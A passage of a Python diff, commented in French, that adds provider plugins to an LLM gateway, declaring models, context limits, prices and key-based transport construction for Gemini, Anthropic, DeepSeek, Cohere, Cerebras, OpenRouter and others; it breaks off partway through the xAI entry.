id='deepseek-r1:8b', + display_name='DeepSeek R1 8B (Ollama)', + tier='local', + context_input=131072, + context_output=8192, + speciality='raisonnement', + recommended_use='Raisonnement logique avec thinking local', + ), + ModelSpec( + id='domotique-qwen7b:q4', + display_name='Domotique Qwen 7B (fine-tune q4)', + tier='local', + context_input=32768, + context_output=4096, + speciality='domotique', + recommended_use='Fast path vocal/domotique — fine-tune QLoRA du projet', + notes='Câblé dans le gateway (clé principale du provider) mais absent du seed — déclaré ici pour aligner catalogue et gateway.', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + # Pas de clé : Ollama local n'authentifie pas (le gateway passe "ollama"). + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'ollama_local'.") + return self._build_compat('ollama_local', par_id[modele], 'ollama') + + + +class GeminiFreePlugin(ProviderPlugin): + """Provider Gemini Free Tier (AI Studio) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='gemini_free', + name='Gemini Free Tier (AI Studio)', + type='free', + transport='native', + api_endpoint='https://generativelanguage.googleapis.com/v1beta', + auth=AuthSpec( + kind='api_key', + env_var='GEMINI_API_KEY', + instructions="Clé AI Studio gratuite ; jusqu'à 6 clés rotatives (GEMINI_API_KEY_2..6) via KeyPool.", + ), + confidentiality='training', + cascade_priority=2.0, + notes='5 clés Free Tier rotatives via KeyPool. Cache implicite gratuit. Curation étape 2 : Seuls les 3 modèles câblés par le gateway (GeminiNativeProvider + KeyPool). flash-lite = 60 appels, 3.5-flash = 13 — les entrées image/preview/doublons -free du catalogue local ne sont ni câblées ni appelées.', + models=( + ModelSpec( + id='gemini-3.5-flash', + display_name='Gemini 3.5 Flash', + tier='free', + routing_tier='moyen', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents_rapides', + recommended_use='Tier Léger/Moyen — le plus rapide, gratuit, cache implicite', + ), + ModelSpec( + id='gemini-3.1-flash-lite', + display_name='Gemini 3.1 Flash Lite', + tier='free', + routing_tier='leger', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='ultra_rapide', + recommended_use='Tâches simples ultra-rapides', + ), + ModelSpec( + id='gemini-2.5-flash', + display_name='Gemini 2.5 Flash', + tier='free', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Raisonnement Tier Léger — backup de 3.5 Flash', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + # Drapeaux par modèle, recopiés de llm_gateway.py (natif payant : grounding + # débloqué ; natif gratuit : cache explicite désactivé + KeyPool). + _GRATUIT = True + + def build(self, credentials, model=None): + cle = (credentials.get('GEMINI_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "GEMINI_API_KEY absente — provider 'gemini_free' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'gemini_free'.") + nom_api = par_id[modele].nom_api + try: + from core.gemini_native import GeminiNativeProvider + except ImportError: + GeminiNativeProvider = None + if GeminiNativeProvider: + if self._GRATUIT: + transport = GeminiNativeProvider( + api_key=cle, model=nom_api, + search_grounding_available=False, + enable_explicit_cache=False, # cache explicite = payant uniquement + use_key_pool=True, + ) + else: + # Payant : grounding débloqué partout sauf TTS ; cache explicite + # désactivé sur TTS et 3.1-flash-lite (comportement gateway). + transport = GeminiNativeProvider( + api_key=cle, model=nom_api, + search_grounding_available=(nom_api != 'gemini-2.0-flash-tts'), + enable_explicit_cache=(nom_api not in ('gemini-2.0-flash-tts', 'gemini-3.1-flash-lite')), + ) + else: + from core.llm.providers.gemini import GeminiProvider + transport = GeminiProvider(api_key=cle, model=nom_api) + verifier_interface_transport(transport) + return transport + + + +class GeminiPaidPlugin(ProviderPlugin): + """Provider Gemini API (GCP Payant) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='gemini_paid', + name='Gemini API (GCP Payant)', + type='pay_as_you_go', + transport='native', + api_endpoint='https://generativelanguage.googleapis.com/v1beta', + auth=AuthSpec( + kind='api_key', + env_var='GEMINI_PAYANT_API_KEY', + instructions='Clé GCP payante — Search Grounding débloqué, facturation EUR.', + ), + confidentiality='none', + cascade_priority=5.0, + notes="Tarifs GCP en EUR. Search Grounding débloqué. Context Caching -90%. Curation étape 2 : Les 9 modèles du seed, tous câblés par le gateway (grounding débloqué sur la clé GCP). Les ids -paid sont des alias de désambiguïsation ; api_model_id porte le nom réel de l'API.", + models=( + ModelSpec( + id='gemini-3.5-flash-paid', + api_model_id='gemini-3.5-flash', + display_name='Gemini 3.5 Flash (GCP)', + tier='paid', + routing_tier='moyen', + context_input=1048576, + context_output=65536, + cost_input_per_m=1.282575, + cost_output_per_m=7.69545, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents_grounding', + recommended_use='API payante avec Search Grounding débloqué', + ), + ModelSpec( + id='gemini-2.5-pro-paid', + api_model_id='gemini-2.5-pro', + display_name='Gemini 2.5 Pro (GCP)', + tier='paid', + context_input=2097152, + context_output=65536, + cost_input_per_m=1.068812, + cost_output_per_m=8.5505, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement_pro', + recommended_use='Raisonnement avancé GCP — context 2M', + ), + ModelSpec( + id='gemini-2.5-flash-paid', + api_model_id='gemini-2.5-flash', + display_name='Gemini 2.5 Flash (GCP)', + tier='paid', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.256515, + cost_output_per_m=2.137625, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='economique', + recommended_use='Backup payant économique', + ), + ModelSpec( + id='gemini-2.0-flash-tts-paid', + api_model_id='gemini-2.0-flash-tts', + display_name='Gemini 2.0 Flash TTS (GCP)', + tier='paid', + context_input=1048576, + context_output=65536, + speciality='tts', + recommended_use='Synthèse vocale native (TTS multimodal)', + ), + ModelSpec( + id='gemini-3.1-flash-lite-paid', + api_model_id='gemini-3.1-flash-lite', + display_name='Gemini 3.1 Flash Lite (GCP)', + tier='paid', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.213762, + cost_output_per_m=1.282575, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='ultra_economique', + recommended_use='Le moins cher en GCP payant', + ), + ModelSpec( + id='gemini-3-pro-short-paid', + api_model_id='gemini-3-pro-preview', + display_name='Gemini 3 Pro Short (GCP)', + tier='paid', + context_input=2097152, + context_output=65536, + cost_input_per_m=1.7101, + cost_output_per_m=10.2606, + supports_tools=True, + supports_streaming=True, + speciality='raisonnement_pro', + recommended_use='Alias court → 3-pro-preview', + notes='Alias court', + ), + ModelSpec( + id='gemini-3.1-pro-preview-paid', + api_model_id='gemini-3.1-pro-preview', + display_name='Gemini 3.1 Pro Preview (GCP)', + tier='paid', + routing_tier='fort', + context_input=2097152, + context_output=65536, + cost_input_per_m=1.7101, + cost_output_per_m=10.2606, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement_pro', + recommended_use='Pro avec Grounding + context 2M', + ), + ModelSpec( + id='gemini-3.1-pro-customtools-paid', + api_model_id='gemini-3.1-pro-preview-customtools', + display_name='Gemini 3.1 Pro Custom Tools (GCP)', + tier='paid', + routing_tier='fort', + context_input=2097152, + context_output=65536, + cost_input_per_m=1.7101, + cost_output_per_m=10.2606, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='tool_use', + recommended_use='Pro optimisé Tool Use', + ), + ModelSpec( + id='gemini-3-pro-preview-paid', + api_model_id='gemini-3-pro-preview', + display_name='Gemini 3 Pro Preview (GCP)', + tier='paid', + routing_tier='fort', + context_input=2097152, + context_output=65536, + cost_input_per_m=1.7101, + cost_output_per_m=10.2606, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement_pro', + recommended_use='Pro preview GCP', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + # Drapeaux par modèle, recopiés de llm_gateway.py (natif payant : grounding + # débloqué ; natif gratuit : cache explicite désactivé + KeyPool). + _GRATUIT = False + + def build(self, credentials, model=None): + cle = (credentials.get('GEMINI_PAYANT_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "GEMINI_PAYANT_API_KEY absente — provider 'gemini_paid' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'gemini_paid'.") + nom_api = par_id[modele].nom_api + try: + from core.gemini_native import GeminiNativeProvider + except ImportError: + GeminiNativeProvider = None + if GeminiNativeProvider: + if self._GRATUIT: + transport = GeminiNativeProvider( + api_key=cle, model=nom_api, + search_grounding_available=False, + enable_explicit_cache=False, # cache explicite = payant uniquement + use_key_pool=True, + ) + else: + # Payant : grounding débloqué partout sauf TTS ; cache explicite + # désactivé sur TTS et 3.1-flash-lite (comportement gateway). + transport = GeminiNativeProvider( + api_key=cle, model=nom_api, + search_grounding_available=(nom_api != 'gemini-2.0-flash-tts'), + enable_explicit_cache=(nom_api not in ('gemini-2.0-flash-tts', 'gemini-3.1-flash-lite')), + ) + else: + from core.llm.providers.gemini import GeminiProvider + transport = GeminiProvider(api_key=cle, model=nom_api) + verifier_interface_transport(transport) + return transport + + + +class GeminiCLIPluginInterne(ProviderPlugin): + """Provider Gemini Advanced (CLI Antigravity) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='gemini_cli', + name='Gemini Advanced (CLI Antigravity)', + type='subscription', + transport='cli', + api_endpoint='antigravity-ide.cmd', + auth=AuthSpec(kind='cli', instructions='Binaire Antigravity IDE requis (abonnement Google One AI Pro).'), + confidentiality='none', + cascade_priority=3.0, + notes='Inclus dans Google One AI Pro (19.99$/mois). Fenêtre 1M-2M tokens. Curation étape 2 : Les 3 modèles du seed, tous câblés (CLI Antigravity, abonnement).', + models=( + ModelSpec( + id='gemini-cli', + display_name='Gemini CLI (défaut)', + tier='subscription', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + speciality='agents_cli', + recommended_use='CLI Antigravity IDE — mode agent par défaut', + ), + ModelSpec( + id='gemini-3.5-flash-high-cli', + display_name='Gemini 3.5 Flash (CLI High)', + tier='subscription', + routing_tier='fort', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_streaming=True, + speciality='agents_cli', + recommended_use='CLI Antigravity IDE — mode high compute', + notes='Amorti ~0.20$/M tokens', + ), + ModelSpec( + id='gemini-3.5-flash-medium-cli', + display_name='Gemini 3.5 Flash (CLI Medium)', + tier='subscription', + routing_tier='moyen', + context_input=1048576, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_streaming=True, + speciality='agents_cli', + recommended_use='CLI Antigravity IDE — mode medium compute', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + if not _binaire_cli_present(( + "antigravity-ide", "antigravity-ide.cmd", "antigravity", "antigravity.exe", + )): + raise CredentialsManquantes( + "Binaire Antigravity IDE absent de cet hôte — 'gemini_cli' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'gemini_cli'.") + from core.llm.providers.gemini import GeminiCLIProvider + if modele == 'gemini-cli': + transport = GeminiCLIProvider() + else: + transport = GeminiCLIProvider(mode='chat', model_name=modele) + verifier_interface_transport(transport) + return transport + + + +class ClaudeCLIPluginInterne(ProviderPlugin): + """Provider Anthropic (CLI Claude Pro) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='claude_cli', + name='Anthropic (CLI Claude Pro)', + type='subscription', + transport='cli', + api_endpoint='claude.cmd', + auth=AuthSpec(kind='cli', instructions='Binaire `claude` requis (abonnement Claude Pro/Max).'), + confidentiality='none', + cascade_priority=3.5, + notes='Inclus dans Claude Pro (20$/mois). SWE-bench 87.6%. Curation étape 2 : Les 9 modèles du seed, tous câblés (aliases legacy inclus). Les appels CLI sont comptés par cli_token_collector, pas par id de modèle — le signal « appels » est aveugle ici, on garde tout ce qui est câblé.', + models=( + ModelSpec( + id='claude-opus-4-8', + display_name='Claude Opus 4.8', + tier='subscription', + routing_tier='fort', + context_input=200000, + context_output=32768, + cost_input_per_m=5.0, + cost_output_per_m=25.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='architecture', + recommended_use='Tier Fort — le plus puissant en agentic coding (depuis 2026-05-28)', + notes='Tarifs référence API, inclus dans le forfait Pro', + ), + ModelSpec( + id='claude-opus-4-7', + display_name='Claude Opus 4.7', + tier='subscription', + routing_tier='fort', + context_input=200000, + context_output=32768, + cost_input_per_m=5.0, + cost_output_per_m=25.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='architecture', + recommended_use='Génération stable précédente', + notes='Tarifs référence API, inclus dans le forfait Pro', + ), + ModelSpec( + id='claude-opus-4-5', + display_name='Claude Opus 4.5', + tier='subscription', + context_input=200000, + context_output=32768, + cost_input_per_m=5.0, + cost_output_per_m=25.0, + supports_tools=True, + supports_vision=True, + speciality='architecture', + recommended_use='Génération stable précédente', + ), + ModelSpec( + id='claude-opus-4-0', + display_name='Claude Opus 4.0 (alias → 4.8)', + tier='subscription', + context_input=200000, + context_output=32768, + speciality='architecture', + recommended_use='Alias legacy → redirige vers opus-4-8', + notes='Alias legacy', + ), + ModelSpec( + id='claude-sonnet-4-6', + display_name='Claude Sonnet 4.6', + tier='subscription', + routing_tier='fort', + context_input=200000, + context_output=32768, + cost_input_per_m=3.0, + cost_output_per_m=15.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='pair_programming', + recommended_use='Défaut CLI — bon équilibre rapidité/qualité', + ), + ModelSpec( + id='claude-sonnet-4-5', + display_name='Claude Sonnet 4.5', + tier='subscription', + context_input=200000, + context_output=32768, + cost_input_per_m=3.0, + cost_output_per_m=15.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='pair_programming', + recommended_use='Génération précédente stable', + ), + ModelSpec( + id='claude-haiku-4-5', + display_name='Claude Haiku 4.5', + tier='subscription', + context_input=200000, + context_output=32768, + cost_input_per_m=1.0, + cost_output_per_m=5.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='rapide', + recommended_use='Tâches légères rapides via CLI', + ), + ModelSpec( + id='claude-sonnet-4.6-thinking-cli', + display_name='Claude Sonnet 4.6 Thinking CLI (legacy)', + tier='subscription', + routing_tier='moyen', + context_input=200000, + context_output=32768, + speciality='pair_programming', + recommended_use='Alias legacy → sonnet-4-6', + notes='Alias legacy', + ), + ModelSpec( + id='claude-opus-4.6-thinking-cli', + display_name='Claude Opus 4.6 Thinking CLI (legacy)', + tier='subscription', + routing_tier='fort', + context_input=200000, + context_output=32768, + speciality='architecture', + recommended_use='Alias legacy → opus-4-8', + notes='Alias legacy', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + if not _binaire_cli_present(("claude", "claude.cmd")): + raise CredentialsManquantes( + "Binaire `claude` absent de cet hôte — 'claude_cli' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'claude_cli'.") + from core.llm.providers.deepseek import _make_claude + # Les alias legacy du catalogue pointent vers le modèle réel côté CLI + # (même comportement que le gateway, llm_gateway.py:484-485). + cibles = { + 'claude-sonnet-4.6-thinking-cli': 'claude-sonnet-4-6', + 'claude-opus-4.6-thinking-cli': 'claude-opus-4-8', + 'claude-opus-4-0': 'claude-opus-4-8', + } + transport = _make_claude(cibles.get(modele, par_id[modele].nom_api)) + verifier_interface_transport(transport) + return transport + + + +class AnthropicNativePlugin(ProviderPlugin): + """Provider Anthropic API — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='anthropic_native', + name='Anthropic API', + type='pay_as_you_go', + transport='native', + api_endpoint='https://api.anthropic.com/v1/messages', + auth=AuthSpec( + kind='api_key', + env_var='ANTHROPIC_API_KEY', + instructions='Clé API Anthropic directe — indépendante des quotas du CLI Claude Pro.', + ), + confidentiality='none', + cascade_priority=3.4, + notes='API native avec accès aux Batchs. ANTHROPIC_API_KEY active — indépendante des quotas Claude Pro CLI. Curation étape 2 : Les 2 modèles du seed, câblés par le gateway. claude-fable-5 reste volontairement hors tiers (routing_policy.excluded_models, décision Axel 07/2026) — le descripteur ne change pas ce statut (routing_tier None).', + models=( + ModelSpec( + id='claude-sonnet-5', + display_name='Claude Sonnet 5 (API directe)', + tier='moyen', + context_input=1000000, + context_output=128000, + cost_input_per_m=2.0, + cost_output_per_m=10.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='pair_programming', + recommended_use='Meilleur rapport qualité/prix Anthropic — proche du niveau Opus en code/agentique', + notes="Tarif d'intro 2.0$/10.0$ par M tokens jusqu'au 31/08/2026 (puis 3.0$/15.0$). Thinking adaptatif actif par défaut.", + ), + ModelSpec( + id='claude-fable-5', + display_name='Claude Fable 5 (API directe)', + tier='fort', + context_input=1000000, + context_output=128000, + cost_input_per_m=10.0, + cost_output_per_m=50.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement_extreme', + recommended_use="Modèle le plus capable d'Anthropic — raisonnement long-horizon, tâches agentiques les plus dures", + notes='Thinking toujours actif. Nécessite rétention de données ≥30 jours (indisponible en ZDR). Tarif nettement supérieur à Opus.', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('ANTHROPIC_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "ANTHROPIC_API_KEY absente — provider 'anthropic_native' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'anthropic_native'.") + from core.anthropic_native_provider import AnthropicNativeProvider + transport = AnthropicNativeProvider(api_key=cle, model=par_id[modele].nom_api) + verifier_interface_transport(transport) + return transport + + + +class DeepSeekPlugin(_PluginOpenAICompat): + """Provider DeepSeek API — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='deepseek', + name='DeepSeek API', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://api.deepseek.com/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='DEEPSEEK_API_KEY', + instructions='Clé API DeepSeek (solde prépayé).', + ), + confidentiality='training', + cascade_priority=4.0, + notes='Ratio coût/intelligence imbattable. V4-Flash à $0.14/$0.28/M. Curation étape 2 : Les 4 modèles du seed, tous câblés ; deepseek-chat = 37 appels (4e modèle le plus appelé en prod). v4-flash/v4-pro passent par le même endpoint deepseek-chat côté transport (comportement du gateway recopié, llm_gateway.py:225-226) — api_model_id le porte.', + models=( + ModelSpec( + id='deepseek-chat', + display_name='DeepSeek Chat (alias V4 Flash)', + tier='paid', + routing_tier='leger', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.14, + cost_output_per_m=0.28, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents_lowcost', + recommended_use='Alias legacy → redirige vers V4 Flash', + notes='Alias legacy', + ), + ModelSpec( + id='deepseek-reasoner', + display_name='DeepSeek Reasoner (legacy R1)', + tier='paid', + routing_tier='fort', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.55, + cost_output_per_m=2.19, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Legacy R1 — migration vers V4 recommandée', + notes='Legacy R1', + ), + ModelSpec( + id='deepseek-v4-flash', + api_model_id='deepseek-chat', + display_name='DeepSeek V4 Flash', + tier='paid', + routing_tier='moyen', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.14, + cost_output_per_m=0.28, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents_lowcost', + recommended_use='Tâches de routine à très bas coût', + ), + ModelSpec( + id='deepseek-v4-pro', + api_model_id='deepseek-chat', + display_name='DeepSeek V4 Pro', + tier='paid', + routing_tier='fort', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.435, + cost_output_per_m=0.87, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Planification multi-étapes — tarif permanent (ex-promo)', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('DEEPSEEK_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "DEEPSEEK_API_KEY absente — provider 'deepseek' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'deepseek'.") + return self._build_compat('deepseek', par_id[modele], cle) + + + +class CoherePlugin(_PluginOpenAICompat): + """Provider Cohere API — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='cohere', + name='Cohere API', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://api.cohere.com/compatibility/v1/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='COHERE_API_KEY', + instructions='Trial Key gratuite (10 RPM).', + ), + confidentiality='training', + cascade_priority=3.9, + notes='Trial Key (Gratuit, 10 RPM). Champion du RAG et du Tool Calling. Curation étape 2 : Les 2 modèles gratuits câblés. Les 4 command-a payants ne sont PAS déclarés : compte Trial Key, gel explicite #T183 (Axel ne passe pas Cohere en payant) — les déclarer recréerait du « au catalogue mais inutilisable ».', + models=( + ModelSpec( + id='command-r-08-2024', + display_name='Cohere Command R (08-2024)', + tier='free', + context_input=128000, + context_output=4096, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents_rapides', + recommended_use='RAG rapide, agents', + notes='Trial Key (Gratuit)', + ), + ModelSpec( + id='command-r-plus-08-2024', + display_name='Cohere Command R+ (08-2024)', + tier='free', + context_input=128000, + context_output=4096, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='RAG avancé, Tool Calling, planifications', + notes='Trial Key (Gratuit)', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('COHERE_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "COHERE_API_KEY absente — provider 'cohere' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'cohere'.") + return self._build_compat('cohere', par_id[modele], cle) + + + +class CerebrasPlugin(_PluginOpenAICompat): + """Provider Cerebras API — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='cerebras', + name='Cerebras API', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://api.cerebras.ai/v1/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='CEREBRAS_API_KEY', + instructions='Clé gratuite pour gpt-oss-120b ; CEREBRAS_PAYANT_API_KEY optionnelle pour gemma/zai (la clé free sert de secours).', + ), + confidentiality='none', + cascade_priority=2.3, + notes="Clé payante. Inférence Wafer Scale ultra-rapide (Cerebras Paid). Curation étape 2 : Les 3 modèles du seed, tous câblés. gpt-oss-120b = 8 appels (tête du fast path vocal #T206). gemma-4-31b-cerebras : l'alias du catalogue renvoyait HTTP 404 chez Cerebras (vérifié 10/08 par appel réel) — api_model_id rétablit le vrai nom.", + models=( + ModelSpec( + id='gpt-oss-120b', + display_name='GPT OSS 120B (Cerebras)', + tier='paid', + routing_tier='fort', + context_input=8192, + context_output=4096, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Modèle géant 120B ultra-rapide (Cerebras)', + notes='Clé Payante (Cerebras)', + ), + ModelSpec( + id='gemma-4-31b-cerebras', + api_model_id='gemma-4-31b', + display_name='Gemma 4 31B (Cerebras)', + tier='paid', + routing_tier='moyen', + context_input=8192, + context_output=4096, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='ultra_rapide', + recommended_use='Google Gemma 4 31B ultra-rapide (Cerebras Wafer Scale)', + notes='Clé Payante (Cerebras)', + ), + ModelSpec( + id='zai-glm-4.7', + display_name='Zai GLM 4.7 (Cerebras)', + tier='paid', + context_input=8192, + context_output=4096, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Raisonnement polyvalent ultra-rapide (Cerebras)', + notes='Clé Payante (Cerebras)', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + # Double clé : gpt-oss-120b (rotation BudgetGuard) consomme la clé + # gratuite ; gemma/zai préfèrent la clé payante, free en secours. + cle_free = (credentials.get('CEREBRAS_API_KEY') or '').strip() + cle_payante = (credentials.get('CEREBRAS_PAYANT_API_KEY') or '').strip() + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'cerebras'.") + if modele == 'gpt-oss-120b': + cle = cle_free or cle_payante + else: + cle = cle_payante or cle_free + if not cle: + raise CredentialsManquantes( + "CEREBRAS_API_KEY / CEREBRAS_PAYANT_API_KEY absentes — 'cerebras' non construit.") + return self._build_compat('cerebras', par_id[modele], cle) + + + +class OpenRouterPlugin(_PluginOpenAICompat): + """Provider OpenRouter API — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='openrouter', + name='OpenRouter API', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://openrouter.ai/api/v1/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='OPENROUTER_API_KEY', + instructions='Clé OpenRouter (crédits).', + ), + confidentiality='none', + cascade_priority=2.4, + notes='Modèles gratuits et payants. Alternatives en cas de pannes de tiers. Curation étape 2 : Seulement les 2 modèles gratuits câblés par le gateway. Les 9 autres entrées du catalogue local sont offertes mais ni câblées ni appelées — leur activation éventuelle (fan-out maps gratuites, #T245) passera par un ajout explicite ici, pas par du stock dormant.', + models=( + ModelSpec( + id='meta-llama/llama-3.3-70b-instruct:free', + display_name='Llama 3.3 70B Instruct (Free via OpenRouter)', + tier='free', + routing_tier='moyen', + context_input=131072, + context_output=4096, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Raisonnement fort gratuit via OpenRouter', + notes='Plan Gratuit (OpenRouter)', + ), + ModelSpec( + id='meta-llama/llama-3.2-3b-instruct:free', + display_name='Llama 3.2 3B Instruct (Free via OpenRouter)', + tier='free', + routing_tier='leger', + context_input=131072, + context_output=4096, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='ultra_rapide', + recommended_use='Tâches rapides gratuites via OpenRouter', + notes='Plan Gratuit (OpenRouter)', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('OPENROUTER_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "OPENROUTER_API_KEY absente — provider 'openrouter' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'openrouter'.") + return self._build_compat('openrouter', par_id[modele], cle) + + + +class XAIPlugin(_PluginOpenAICompat): + """Provider xAI API (Grok) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='xai', + name='xAI API (Grok)', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://api.x.ai/v1/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='XAI_API_KEY', + instructions="Clé xAI (Grok). La gestion d'équipe utilise XAI_MANAGEMENT_API_KEY.", + ), + confidentiality='none', + cascade_priority=4.2, + notes="Modèles Grok-2 et Grok-Beta. Excellentes capacités de raisonnement. Curation étape 2 : Les 5 modèles câblés par le gateway. grok-imagine-image (génération d'images, hors chat) n'est ni câblé ni appelé — non déclaré.", + models=( + ModelSpec( + id='grok-4.3', + display_name='Grok 4.3', + tier='paid', + 